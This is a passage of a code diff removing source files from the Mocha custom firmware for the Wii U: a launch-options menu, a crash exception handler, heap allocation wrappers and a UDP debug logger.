{ "SEEPROM redirection", "on", "off" },
|
|
||||||
{ "OTP redirection", "on", "off" },
|
|
||||||
{ "Use syshax.xml (coldboothax)", "on", "off" },
|
|
||||||
};
|
|
||||||
|
|
||||||
static void console_print_pos(int x, int y, const char *format, ...)
|
|
||||||
{
|
|
||||||
char * tmp = NULL;
|
|
||||||
|
|
||||||
va_list va;
|
|
||||||
va_start(va, format);
|
|
||||||
if((vasprintf(&tmp, format, va) >= 0) && tmp)
|
|
||||||
{
|
|
||||||
if(strlen(tmp) > 79)
|
|
||||||
tmp[79] = 0;
|
|
||||||
|
|
||||||
OSScreenPutFontEx(0, x, y, tmp);
|
|
||||||
OSScreenPutFontEx(1, x, y, tmp);
|
|
||||||
|
|
||||||
}
|
|
||||||
va_end(va);
|
|
||||||
|
|
||||||
if(tmp)
|
|
||||||
free(tmp);
|
|
||||||
}
|
|
||||||
|
|
||||||
int ShowMenu(cfw_config_t * currentConfig)
|
|
||||||
{
|
|
||||||
// Init screen and screen buffers
|
|
||||||
OSScreenInit();
|
|
||||||
u32 screen_buf0_size = OSScreenGetBufferSizeEx(0);
|
|
||||||
u32 screen_buf1_size = OSScreenGetBufferSizeEx(1);
|
|
||||||
u8 * screenBuffer = (u8*) memalign(0x100, screen_buf0_size + screen_buf1_size);
|
|
||||||
OSScreenSetBufferEx(0, (void *)screenBuffer);
|
|
||||||
OSScreenSetBufferEx(1, (void *)(screenBuffer + screen_buf0_size));
|
|
||||||
|
|
||||||
OSScreenEnableEx(0, 1);
|
|
||||||
OSScreenEnableEx(1, 1);
|
|
||||||
|
|
||||||
// Clear screens
|
|
||||||
OSScreenClearBufferEx(0, 0);
|
|
||||||
OSScreenClearBufferEx(1, 0);
|
|
||||||
|
|
||||||
// Flip buffers
|
|
||||||
OSScreenFlipBuffersEx(0);
|
|
||||||
OSScreenFlipBuffersEx(1);
|
|
||||||
|
|
||||||
VPADData vpad;
|
|
||||||
int vpadError;
|
|
||||||
int x_offset = -2;
|
|
||||||
int initScreen = 1;
|
|
||||||
int selected = 0;
|
|
||||||
int launch = 0;
|
|
||||||
cfw_config_t config;
|
|
||||||
memcpy(&config, currentConfig, sizeof(cfw_config_t));
|
|
||||||
|
|
||||||
int max_config_item = config.viewMode ? MAX_CONFIG_SETTINGS_EXPERT : MAX_CONFIG_SETTINGS_DEFAULT;
|
|
||||||
|
|
||||||
while(1)
|
|
||||||
{
|
|
||||||
//! update only at 50 Hz, thats more than enough
|
|
||||||
vpadError = -1;
|
|
||||||
VPADRead(0, &vpad, 1, &vpadError);
|
|
||||||
|
|
||||||
if(vpadError == 0)
|
|
||||||
{
|
|
||||||
if(vpad.btns_d & VPAD_BUTTON_HOME)
|
|
||||||
{
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
else if(vpad.btns_d & VPAD_BUTTON_A)
|
|
||||||
{
|
|
||||||
launch = 1;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
else if(vpad.btns_d & VPAD_BUTTON_DOWN)
|
|
||||||
{
|
|
||||||
selected++;
|
|
||||||
if(selected >= max_config_item)
|
|
||||||
selected = 0;
|
|
||||||
|
|
||||||
initScreen = 1;
|
|
||||||
}
|
|
||||||
else if(vpad.btns_d & VPAD_BUTTON_UP)
|
|
||||||
{
|
|
||||||
selected--;
|
|
||||||
if(selected < 0)
|
|
||||||
selected = max_config_item - 1;
|
|
||||||
|
|
||||||
initScreen = 1;
|
|
||||||
}
|
|
||||||
else if(vpad.btns_d & (VPAD_BUTTON_LEFT | VPAD_BUTTON_RIGHT))
|
|
||||||
{
|
|
||||||
switch(selected)
|
|
||||||
{
|
|
||||||
case 0:
|
|
||||||
config.viewMode = !config.viewMode;
|
|
||||||
max_config_item = config.viewMode ? MAX_CONFIG_SETTINGS_EXPERT : MAX_CONFIG_SETTINGS_DEFAULT;
|
|
||||||
break;
|
|
||||||
case 1:
|
|
||||||
config.directLaunch = !config.directLaunch;
|
|
||||||
break;
|
|
||||||
case 2:
|
|
||||||
config.launchImage = !config.launchImage;
|
|
||||||
break;
|
|
||||||
case 3:
|
|
||||||
config.noIosReload = !config.noIosReload;
|
|
||||||
break;
|
|
||||||
case 4:
|
|
||||||
config.launchSysMenu = !config.launchSysMenu;
|
|
||||||
break;
|
|
||||||
case 5:
|
|
||||||
config.redNAND = !config.redNAND;
|
|
||||||
break;
|
|
||||||
case 6:
|
|
||||||
config.seeprom_red = !config.seeprom_red;
|
|
||||||
break;
|
|
||||||
case 7:
|
|
||||||
config.otp_red = !config.otp_red;
|
|
||||||
break;
|
|
||||||
case 8:
|
|
||||||
config.syshaxXml = !config.syshaxXml;
|
|
||||||
break;
|
|
||||||
default:
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
if(!config.viewMode)
|
|
||||||
{
|
|
||||||
config.syshaxXml = 0;
|
|
||||||
|
|
||||||
if(config.redNAND)
|
|
||||||
{
|
|
||||||
config.seeprom_red = 1;
|
|
||||||
config.otp_red = 1;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if(config.noIosReload)
|
|
||||||
{
|
|
||||||
config.launchImage = 0;
|
|
||||||
config.redNAND = 0;
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
config.launchSysMenu = 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
if(config.redNAND == 0)
|
|
||||||
{
|
|
||||||
config.seeprom_red = 0;
|
|
||||||
config.otp_red = 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
initScreen = 1;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if(initScreen)
|
|
||||||
{
|
|
||||||
OSScreenClearBufferEx(0, 0);
|
|
||||||
OSScreenClearBufferEx(1, 0);
|
|
||||||
|
|
||||||
console_print_pos(x_offset, 1, " -- MOCHA CFW %s by Dimok --", APP_VERSION);
|
|
||||||
|
|
||||||
console_print_pos(x_offset, 3, "Select your options and press A to launch.");
|
|
||||||
console_print_pos(x_offset, 4, "Press HOME to exit back to HBL.");
|
|
||||||
console_print_pos(x_offset, 5, "Hold B on start to force enter this menu");
|
|
||||||
|
|
||||||
int y_offset = 6;
|
|
||||||
int option_count = sizeof(selection_options) / sizeof(selection_options[0]);
|
|
||||||
int idx;
|
|
||||||
int * configPtr = &config.viewMode;
|
|
||||||
|
|
||||||
for(idx = 0; idx < option_count && idx < max_config_item; idx++)
|
|
||||||
{
|
|
||||||
console_print_pos(x_offset, y_offset++, "%s %-29s : %s%s%s %s%s%s", TEXT_SEL((selected == idx), "--->", " "), selection_options[idx].option,
|
|
||||||
TEXT_SEL(configPtr[idx], "<", " "), selection_options[idx].enabled, TEXT_SEL(configPtr[idx], ">", " "),
|
|
||||||
TEXT_SEL(configPtr[idx], " ", "<"), selection_options[idx].disabled, TEXT_SEL(configPtr[idx], " ", ">"));
|
|
||||||
}
|
|
||||||
|
|
||||||
console_print_pos(x_offset, 16, "Credits go to everyone who contributed to Wii U scene publicly.");
|
|
||||||
console_print_pos(x_offset, 17, "Special thanks to smealum, plutoo, yellows8, naehrwert and derrek.");
|
|
||||||
|
|
||||||
// Flip buffers
|
|
||||||
OSScreenFlipBuffersEx(0);
|
|
||||||
OSScreenFlipBuffersEx(1);
|
|
||||||
|
|
||||||
initScreen = 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
os_usleep(20000);
|
|
||||||
}
|
|
||||||
|
|
||||||
OSScreenShutdown();
|
|
||||||
free(screenBuffer);
|
|
||||||
|
|
||||||
if(memcmp(currentConfig, &config, sizeof(cfw_config_t)) != 0)
|
|
||||||
{
|
|
||||||
memcpy(currentConfig, &config, sizeof(cfw_config_t));
|
|
||||||
write_config(currentConfig);
|
|
||||||
}
|
|
||||||
|
|
||||||
return launch;
|
|
||||||
}
|
|
@ -1,8 +0,0 @@
|
|||||||
#ifndef _MENU_H_
|
|
||||||
#define _MENU_H_
|
|
||||||
|
|
||||||
#include "cfw_config.h"
|
|
||||||
|
|
||||||
int ShowMenu(cfw_config_t * config);
|
|
||||||
|
|
||||||
#endif
|
|
@ -1,145 +0,0 @@
|
|||||||
#include <stdio.h>
|
|
||||||
#include "dynamic_libs/os_functions.h"
|
|
||||||
#include "utils/logger.h"
|
|
||||||
#include "exception_handler.h"
|
|
||||||
|
|
||||||
#define OS_EXCEPTION_MODE_GLOBAL_ALL_CORES 4
|
|
||||||
|
|
||||||
#define OS_EXCEPTION_DSI 2
|
|
||||||
#define OS_EXCEPTION_ISI 3
|
|
||||||
#define OS_EXCEPTION_PROGRAM 6
|
|
||||||
|
|
||||||
#define CPU_STACK_TRACE_DEPTH 10
|
|
||||||
#define __stringify(rn) #rn
|
|
||||||
|
|
||||||
#define mfspr(_rn) \
|
|
||||||
({ register uint32_t _rval = 0; \
|
|
||||||
asm volatile("mfspr %0," __stringify(_rn) \
|
|
||||||
: "=r" (_rval));\
|
|
||||||
_rval; \
|
|
||||||
})
|
|
||||||
|
|
||||||
typedef struct _framerec {
|
|
||||||
struct _framerec *up;
|
|
||||||
void *lr;
|
|
||||||
} frame_rec, *frame_rec_t;
|
|
||||||
|
|
||||||
static const char *exception_names[] = {
|
|
||||||
"DSI",
|
|
||||||
"ISI",
|
|
||||||
"PROGRAM"
|
|
||||||
};
|
|
||||||
|
|
||||||
static const char exception_print_formats[18][45] = {
|
|
||||||
"Exception type %s occurred!\n", // 0
|
|
||||||
"GPR00 %08X GPR08 %08X GPR16 %08X GPR24 %08X\n", // 1
|
|
||||||
"GPR01 %08X GPR09 %08X GPR17 %08X GPR25 %08X\n", // 2
|
|
||||||
"GPR02 %08X GPR10 %08X GPR18 %08X GPR26 %08X\n", // 3
|
|
||||||
"GPR03 %08X GPR11 %08X GPR19 %08X GPR27 %08X\n", // 4
|
|
||||||
"GPR04 %08X GPR12 %08X GPR20 %08X GPR28 %08X\n", // 5
|
|
||||||
"GPR05 %08X GPR13 %08X GPR21 %08X GPR29 %08X\n", // 6
|
|
||||||
"GPR06 %08X GPR14 %08X GPR22 %08X GPR30 %08X\n", // 7
|
|
||||||
"GPR07 %08X GPR15 %08X GPR23 %08X GPR31 %08X\n", // 8
|
|
||||||
"LR %08X SRR0 %08x SRR1 %08x\n", // 9
|
|
||||||
"DAR %08X DSISR %08X\n", // 10
|
|
||||||
"\nSTACK DUMP:", // 11
|
|
||||||
" --> ", // 12
|
|
||||||
" -->\n", // 13
|
|
||||||
"\n", // 14
|
|
||||||
"%p", // 15
|
|
||||||
"\nCODE DUMP:\n", // 16
|
|
||||||
"%p: %08X %08X %08X %08X\n", // 17
|
|
||||||
};
|
|
||||||
|
|
||||||
static unsigned char exception_cb(void * c, unsigned char exception_type) {
|
|
||||||
char buf[850];
|
|
||||||
int pos = 0;
|
|
||||||
|
|
||||||
OSContext *context = (OSContext *) c;
|
|
||||||
/*
|
|
||||||
* This part is mostly from libogc. Thanks to the devs over there.
|
|
||||||
*/
|
|
||||||
pos += sprintf(buf + pos, exception_print_formats[0], exception_names[exception_type]);
|
|
||||||
pos += sprintf(buf + pos, exception_print_formats[1], context->gpr[0], context->gpr[8], context->gpr[16], context->gpr[24]);
|
|
||||||
pos += sprintf(buf + pos, exception_print_formats[2], context->gpr[1], context->gpr[9], context->gpr[17], context->gpr[25]);
|
|
||||||
pos += sprintf(buf + pos, exception_print_formats[3], context->gpr[2], context->gpr[10], context->gpr[18], context->gpr[26]);
|
|
||||||
pos += sprintf(buf + pos, exception_print_formats[4], context->gpr[3], context->gpr[11], context->gpr[19], context->gpr[27]);
|
|
||||||
pos += sprintf(buf + pos, exception_print_formats[5], context->gpr[4], context->gpr[12], context->gpr[20], context->gpr[28]);
|
|
||||||
pos += sprintf(buf + pos, exception_print_formats[6], context->gpr[5], context->gpr[13], context->gpr[21], context->gpr[29]);
|
|
||||||
pos += sprintf(buf + pos, exception_print_formats[7], context->gpr[6], context->gpr[14], context->gpr[22], context->gpr[30]);
|
|
||||||
pos += sprintf(buf + pos, exception_print_formats[8], context->gpr[7], context->gpr[15], context->gpr[23], context->gpr[31]);
|
|
||||||
pos += sprintf(buf + pos, exception_print_formats[9], context->lr, context->srr0, context->srr1);
|
|
||||||
|
|
||||||
//if(exception_type == OS_EXCEPTION_DSI) {
|
|
||||||
pos += sprintf(buf + pos, exception_print_formats[10], context->ex1, context->ex0); // this freezes
|
|
||||||
//}
|
|
||||||
|
|
||||||
void *pc = (void*)context->srr0;
|
|
||||||
void *lr = (void*)context->lr;
|
|
||||||
void *r1 = (void*)context->gpr[1];
|
|
||||||
register uint32_t i = 0;
|
|
||||||
register frame_rec_t l,p = (frame_rec_t)lr;
|
|
||||||
|
|
||||||
l = p;
|
|
||||||
p = r1;
|
|
||||||
if(!p)
|
|
||||||
asm volatile("mr %0,%%r1" : "=r"(p));
|
|
||||||
|
|
||||||
pos += sprintf(buf + pos, exception_print_formats[11]);
|
|
||||||
|
|
||||||
for(i = 0; i < CPU_STACK_TRACE_DEPTH-1 && p->up; p = p->up, i++) {
|
|
||||||
if(i % 4)
|
|
||||||
pos += sprintf(buf + pos, exception_print_formats[12]);
|
|
||||||
else {
|
|
||||||
if(i > 0)
|
|
||||||
pos += sprintf(buf + pos, exception_print_formats[13]);
|
|
||||||
else
|
|
||||||
pos += sprintf(buf + pos, exception_print_formats[14]);
|
|
||||||
}
|
|
||||||
|
|
||||||
switch(i) {
|
|
||||||
case 0:
|
|
||||||
if(pc)
|
|
||||||
pos += sprintf(buf + pos, exception_print_formats[15],pc);
|
|
||||||
break;
|
|
||||||
case 1:
|
|
||||||
if(!l)
|
|
||||||
l = (frame_rec_t)mfspr(8);
|
|
||||||
pos += sprintf(buf + pos, exception_print_formats[15],(void*)l);
|
|
||||||
break;
|
|
||||||
default:
|
|
||||||
pos += sprintf(buf + pos, exception_print_formats[15],(void*)(p->up->lr));
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
//if(exception_type == OS_EXCEPTION_DSI) {
|
|
||||||
uint32_t *pAdd = (uint32_t*)context->srr0;
|
|
||||||
pos += sprintf(buf + pos, exception_print_formats[16]);
|
|
||||||
// TODO by Dimok: this was actually be 3 instead of 2 lines in libogc .... but there is just no more space anymore on the screen
|
|
||||||
for (i = 0; i < 8; i += 4)
|
|
||||||
pos += sprintf(buf + pos, exception_print_formats[17], &(pAdd[i]),pAdd[i], pAdd[i+1], pAdd[i+2], pAdd[i+3]);
|
|
||||||
//}
|
|
||||||
#if DEBUG_LOGGER == 1
|
|
||||||
log_print(buf);
|
|
||||||
#endif
|
|
||||||
|
|
||||||
OSFatal(buf);
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
static unsigned char dsi_exception_cb(void * context) {
|
|
||||||
return exception_cb(context, 0);
|
|
||||||
}
|
|
||||||
static unsigned char isi_exception_cb(void * context) {
|
|
||||||
return exception_cb(context, 1);
|
|
||||||
}
|
|
||||||
static unsigned char program_exception_cb(void * context) {
|
|
||||||
return exception_cb(context, 2);
|
|
||||||
}
|
|
||||||
|
|
||||||
void setup_os_exceptions(void) {
|
|
||||||
OSSetExceptionCallback(OS_EXCEPTION_DSI, &dsi_exception_cb);
|
|
||||||
OSSetExceptionCallback(OS_EXCEPTION_ISI, &isi_exception_cb);
|
|
||||||
OSSetExceptionCallback(OS_EXCEPTION_PROGRAM, &program_exception_cb);
|
|
||||||
}
|
|
@ -1,14 +0,0 @@
|
|||||||
#ifndef __EXCEPTION_HANDLER_H_
|
|
||||||
#define __EXCEPTION_HANDLER_H_
|
|
||||||
|
|
||||||
#ifdef __cplusplus
|
|
||||||
extern "C" {
|
|
||||||
#endif
|
|
||||||
|
|
||||||
void setup_os_exceptions(void);
|
|
||||||
|
|
||||||
#ifdef __cplusplus
|
|
||||||
}
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#endif
|
|
@ -1,181 +0,0 @@
|
|||||||
/****************************************************************************
|
|
||||||
* Copyright (C) 2015 Dimok
|
|
||||||
*
|
|
||||||
* This program is free software: you can redistribute it and/or modify
|
|
||||||
* it under the terms of the GNU General Public License as published by
|
|
||||||
* the Free Software Foundation, either version 3 of the License, or
|
|
||||||
* (at your option) any later version.
|
|
||||||
*
|
|
||||||
* This program is distributed in the hope that it will be useful,
|
|
||||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
||||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
|
||||||
* GNU General Public License for more details.
|
|
||||||
*
|
|
||||||
* You should have received a copy of the GNU General Public License
|
|
||||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
|
||||||
****************************************************************************/
|
|
||||||
#include <malloc.h>
|
|
||||||
#include <string.h>
|
|
||||||
#include "dynamic_libs/os_functions.h"
|
|
||||||
#include "common/common.h"
|
|
||||||
#include "memory.h"
|
|
||||||
|
|
||||||
#define MEMORY_ARENA_1 0
|
|
||||||
#define MEMORY_ARENA_2 1
|
|
||||||
#define MEMORY_ARENA_3 2
|
|
||||||
#define MEMORY_ARENA_4 3
|
|
||||||
#define MEMORY_ARENA_5 4
|
|
||||||
#define MEMORY_ARENA_6 5
|
|
||||||
#define MEMORY_ARENA_7 6
|
|
||||||
#define MEMORY_ARENA_8 7
|
|
||||||
#define MEMORY_ARENA_FG_BUCKET 8
|
|
||||||
|
|
||||||
static int mem1_heap = -1;
|
|
||||||
static int bucket_heap = -1;
|
|
||||||
|
|
||||||
void memoryInitialize(void)
|
|
||||||
{
|
|
||||||
int mem1_heap_handle = MEMGetBaseHeapHandle(MEMORY_ARENA_1);
|
|
||||||
unsigned int mem1_allocatable_size = MEMGetAllocatableSizeForFrmHeapEx(mem1_heap_handle, 4);
|
|
||||||
void *mem1_memory = MEMAllocFromFrmHeapEx(mem1_heap_handle, mem1_allocatable_size, 4);
|
|
||||||
if(mem1_memory)
|
|
||||||
mem1_heap = MEMCreateExpHeapEx(mem1_memory, mem1_allocatable_size, 0);
|
|
||||||
|
|
||||||
int bucket_heap_handle = MEMGetBaseHeapHandle(MEMORY_ARENA_FG_BUCKET);
|
|
||||||
unsigned int bucket_allocatable_size = MEMGetAllocatableSizeForFrmHeapEx(bucket_heap_handle, 4);
|
|
||||||
void *bucket_memory = MEMAllocFromFrmHeapEx(bucket_heap_handle, bucket_allocatable_size, 4);
|
|
||||||
if(bucket_memory)
|
|
||||||
bucket_heap = MEMCreateExpHeapEx(bucket_memory, bucket_allocatable_size, 0);
|
|
||||||
}
|
|
||||||
|
|
||||||
void memoryRelease(void)
|
|
||||||
{
|
|
||||||
MEMDestroyExpHeap(mem1_heap);
|
|
||||||
MEMFreeToFrmHeap(MEMGetBaseHeapHandle(MEMORY_ARENA_1), 3);
|
|
||||||
mem1_heap = -1;
|
|
||||||
|
|
||||||
MEMDestroyExpHeap(bucket_heap);
|
|
||||||
MEMFreeToFrmHeap(MEMGetBaseHeapHandle(MEMORY_ARENA_FG_BUCKET), 3);
|
|
||||||
bucket_heap = -1;
|
|
||||||
}
|
|
||||||
|
|
||||||
//!-------------------------------------------------------------------------------------------
|
|
||||||
//! wraps
|
|
||||||
//!-------------------------------------------------------------------------------------------
|
|
||||||
void *__wrap_malloc(size_t size)
|
|
||||||
{
|
|
||||||
// pointer to a function resolve
|
|
||||||
return ((void * (*)(size_t))(*pMEMAllocFromDefaultHeap))(size);
|
|
||||||
}
|
|
||||||
|
|
||||||
void *__wrap_memalign(size_t align, size_t size)
|
|
||||||
{
|
|
||||||
if (align < 4)
|
|
||||||
align = 4;
|
|
||||||
|
|
||||||
// pointer to a function resolve
|
|
||||||
return ((void * (*)(size_t, size_t))(*pMEMAllocFromDefaultHeapEx))(size, align);
|
|
||||||
}
|
|
||||||
|
|
||||||
void __wrap_free(void *p)
|
|
||||||
{
|
|
||||||
// pointer to a function resolve
|
|
||||||
if(p != 0)
|
|
||||||
((void (*)(void *))(*pMEMFreeToDefaultHeap))(p);
|
|
||||||
}
|
|
||||||
|
|
||||||
void *__wrap_calloc(size_t n, size_t size)
|
|
||||||
{
|
|
||||||
void *p = __wrap_malloc(n * size);
|
|
||||||
if (p != 0) {
|
|
||||||
memset(p, 0, n * size);
|
|
||||||
}
|
|
||||||
return p;
|
|
||||||
}
|
|
||||||
|
|
||||||
size_t __wrap_malloc_usable_size(void *p)
|
|
||||||
{
|
|
||||||
//! TODO: this is totally wrong and needs to be addressed
|
|
||||||
return 0x7FFFFFFF;
|
|
||||||
}
|
|
||||||
|
|
||||||
void *__wrap_realloc(void *p, size_t size)
|
|
||||||
{
|
|
||||||
void *new_ptr = __wrap_malloc(size);
|
|
||||||
if (new_ptr != 0)
|
|
||||||
{
|
|
||||||
memcpy(new_ptr, p, __wrap_malloc_usable_size(p) < size ? __wrap_malloc_usable_size(p) : size);
|
|
||||||
__wrap_free(p);
|
|
||||||
}
|
|
||||||
return new_ptr;
|
|
||||||
}
|
|
||||||
|
|
||||||
//!-------------------------------------------------------------------------------------------
|
|
||||||
//! reent versions
|
|
||||||
//!-------------------------------------------------------------------------------------------
|
|
||||||
void *__wrap__malloc_r(struct _reent *r, size_t size)
|
|
||||||
{
|
|
||||||
return __wrap_malloc(size);
|
|
||||||
}
|
|
||||||
|
|
||||||
void *__wrap__calloc_r(struct _reent *r, size_t n, size_t size)
|
|
||||||
{
|
|
||||||
return __wrap_calloc(n, size);
|
|
||||||
}
|
|
||||||
|
|
||||||
void *__wrap__memalign_r(struct _reent *r, size_t align, size_t size)
|
|
||||||
{
|
|
||||||
return __wrap_memalign(align, size);
|
|
||||||
}
|
|
||||||
|
|
||||||
void __wrap__free_r(struct _reent *r, void *p)
|
|
||||||
{
|
|
||||||
__wrap_free(p);
|
|
||||||
}
|
|
||||||
|
|
||||||
size_t __wrap__malloc_usable_size_r(struct _reent *r, void *p)
|
|
||||||
{
|
|
||||||
return __wrap_malloc_usable_size(p);
|
|
||||||
}
|
|
||||||
|
|
||||||
void *__wrap__realloc_r(struct _reent *r, void *p, size_t size)
|
|
||||||
{
|
|
||||||
return __wrap_realloc(p, size);
|
|
||||||
}
|
|
||||||
|
|
||||||
//!-------------------------------------------------------------------------------------------
|
|
||||||
//! some wrappers
|
|
||||||
//!-------------------------------------------------------------------------------------------
|
|
||||||
void * MEM2_alloc(unsigned int size, unsigned int align)
|
|
||||||
{
|
|
||||||
return __wrap_memalign(align, size);
|
|
||||||
}
|
|
||||||
|
|
||||||
void MEM2_free(void *ptr)
|
|
||||||
{
|
|
||||||
__wrap_free(ptr);
|
|
||||||
}
|
|
||||||
|
|
||||||
void * MEM1_alloc(unsigned int size, unsigned int align)
|
|
||||||
{
|
|
||||||
if (align < 4)
|
|
||||||
align = 4;
|
|
||||||
return MEMAllocFromExpHeapEx(mem1_heap, size, align);
|
|
||||||
}
|
|
||||||
|
|
||||||
void MEM1_free(void *ptr)
|
|
||||||
{
|
|
||||||
MEMFreeToExpHeap(mem1_heap, ptr);
|
|
||||||
}
|
|
||||||
|
|
||||||
void * MEMBucket_alloc(unsigned int size, unsigned int align)
|
|
||||||
{
|
|
||||||
if (align < 4)
|
|
||||||
align = 4;
|
|
||||||
return MEMAllocFromExpHeapEx(bucket_heap, size, align);
|
|
||||||
}
|
|
||||||
|
|
||||||
void MEMBucket_free(void *ptr)
|
|
||||||
{
|
|
||||||
MEMFreeToExpHeap(bucket_heap, ptr);
|
|
||||||
}
|
|
@ -1,42 +0,0 @@
|
|||||||
/****************************************************************************
|
|
||||||
* Copyright (C) 2015 Dimok
|
|
||||||
*
|
|
||||||
* This program is free software: you can redistribute it and/or modify
|
|
||||||
* it under the terms of the GNU General Public License as published by
|
|
||||||
* the Free Software Foundation, either version 3 of the License, or
|
|
||||||
* (at your option) any later version.
|
|
||||||
*
|
|
||||||
* This program is distributed in the hope that it will be useful,
|
|
||||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
||||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
|
||||||
* GNU General Public License for more details.
|
|
||||||
*
|
|
||||||
* You should have received a copy of the GNU General Public License
|
|
||||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
|
||||||
****************************************************************************/
|
|
||||||
#ifndef __MEMORY_H_
|
|
||||||
#define __MEMORY_H_
|
|
||||||
|
|
||||||
#ifdef __cplusplus
|
|
||||||
extern "C" {
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#include <malloc.h>
|
|
||||||
|
|
||||||
void memoryInitialize(void);
|
|
||||||
void memoryRelease(void);
|
|
||||||
|
|
||||||
void * MEM2_alloc(unsigned int size, unsigned int align);
|
|
||||||
void MEM2_free(void *ptr);
|
|
||||||
|
|
||||||
void * MEM1_alloc(unsigned int size, unsigned int align);
|
|
||||||
void MEM1_free(void *ptr);
|
|
||||||
|
|
||||||
void * MEMBucket_alloc(unsigned int size, unsigned int align);
|
|
||||||
void MEMBucket_free(void *ptr);
|
|
||||||
|
|
||||||
#ifdef __cplusplus
|
|
||||||
}
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#endif // __MEMORY_H_
|
|
@ -1,89 +0,0 @@
|
|||||||
#include <stdarg.h>
|
|
||||||
#include <stdlib.h>
|
|
||||||
#include <stdio.h>
|
|
||||||
#include <string.h>
|
|
||||||
#include <errno.h>
|
|
||||||
#include "common/common.h"
|
|
||||||
#include "dynamic_libs/os_functions.h"
|
|
||||||
#include "dynamic_libs/socket_functions.h"
|
|
||||||
#include "logger.h"
|
|
||||||
|
|
||||||
#ifdef DEBUG_LOGGER
|
|
||||||
static int log_socket = -1;
|
|
||||||
static volatile int log_lock = 0;
|
|
||||||
|
|
||||||
|
|
||||||
void log_init(const char * ipString)
|
|
||||||
{
|
|
||||||
log_socket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
|
|
||||||
if (log_socket < 0)
|
|
||||||
return;
|
|
||||||
|
|
||||||
struct sockaddr_in connect_addr;
|
|
||||||
memset(&connect_addr, 0, sizeof(connect_addr));
|
|
||||||
connect_addr.sin_family = AF_INET;
|
|
||||||
connect_addr.sin_port = 4405;
|
|
||||||
inet_aton(ipString, &connect_addr.sin_addr);
|
|
||||||
|
|
||||||
if(connect(log_socket, (struct sockaddr*)&connect_addr, sizeof(connect_addr)) < 0)
|
|
||||||
{
|
|
||||||
socketclose(log_socket);
|
|
||||||
log_socket = -1;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
void log_deinit(void)
|
|
||||||
{
|
|
||||||
if(log_socket >= 0)
|
|
||||||
{
|
|
||||||
socketclose(log_socket);
|
|
||||||
log_socket = -1;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
void log_print(const char *str)
|
|
||||||
{
|
|
||||||
// socket is always 0 initially as it is in the BSS
|
|
||||||
if(log_socket < 0) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
while(log_lock)
|
|
||||||
usleep(1000);
|
|
||||||
log_lock = 1;
|
|
||||||
|
|
||||||
int len = strlen(str);
|
|
||||||
int ret;
|
|
||||||
while (len > 0) {
|
|
||||||
int block = len < 1400 ? len : 1400; // take max 1400 bytes per UDP packet
|
|
||||||
ret = send(log_socket, str, block, 0);
|
|
||||||
if(ret < 0)
|
|
||||||
break;
|
|
||||||
|
|
||||||
len -= ret;
|
|
||||||
str += ret;
|
|
||||||
}
|
|
||||||
|
|
||||||
log_lock = 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
void log_printf(const char *format, ...)
|
|
||||||
{
|
|
||||||
if(log_socket < 0) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
char * tmp = NULL;
|
|
||||||
|
|
||||||
va_list va;
|
|
||||||
va_start(va, format);
|
|
||||||
if((vasprintf(&tmp, format, va) >= 0) && tmp)
|
|
||||||
{
|
|
||||||
log_print(tmp);
|
|
||||||
}
|
|
||||||
va_end(va);
|
|
||||||
|
|
||||||
if(tmp)
|
|
||||||
free(tmp);
|
|
||||||
}
|
|
||||||
#endif
|
|
@ -1,26 +0,0 @@
|
|||||||
#ifndef __LOGGER_H_
|
|
||||||
#define __LOGGER_H_
|
|
||||||
|
|
||||||
#ifdef __cplusplus
|
|
||||||
extern "C" {
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#define DEBUG_LOGGER 1
|
|
||||||
|
|
||||||
#ifdef DEBUG_LOGGER
|
|
||||||
void log_init(const char * ip);
|
|
||||||
void log_deinit(void);
|
|
||||||
void log_print(const char *str);
|
|
||||||
void log_printf(const char *format, ...);
|
|
||||||
#else
|
|
||||||
#define log_init(x)
|
|
||||||
#define log_deinit()
|
|
||||||
#define log_print(x)
|
|
||||||
#define log_printf(x, ...)
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#ifdef __cplusplus
|
|
||||||
}
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#endif
|
|
@ -1,47 +0,0 @@
|
|||||||
#ifndef __UTILS_H_
|
|
||||||
#define __UTILS_H_
|
|
||||||
|
|
||||||
#include <malloc.h>
|
|
||||||
#include "../common/types.h"
|
|
||||||
|
|
||||||
#ifdef __cplusplus
|
|
||||||
extern "C" {
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#define FlushBlock(addr) asm volatile("dcbf %0, %1\n" \
|
|
||||||
"icbi %0, %1\n" \
|
|
||||||
"sync\n" \
|
|
||||||
"eieio\n" \
|
|
||||||
"isync\n" \
|
|
||||||
: \
|
|
||||||
:"r"(0), "r"(((addr) & ~31)) \
|
|
||||||
:"memory", "ctr", "lr", "3", "4", "5", "6", "7", "8", "9", "10", "11", "12" \
|
|
||||||
);
|
|
||||||
|
|
||||||
#define LIMIT(x, min, max) \
|
|
||||||
({ \
|
|
||||||
typeof( x ) _x = x; \
|
|
||||||
typeof( min ) _min = min; \
|
|
||||||
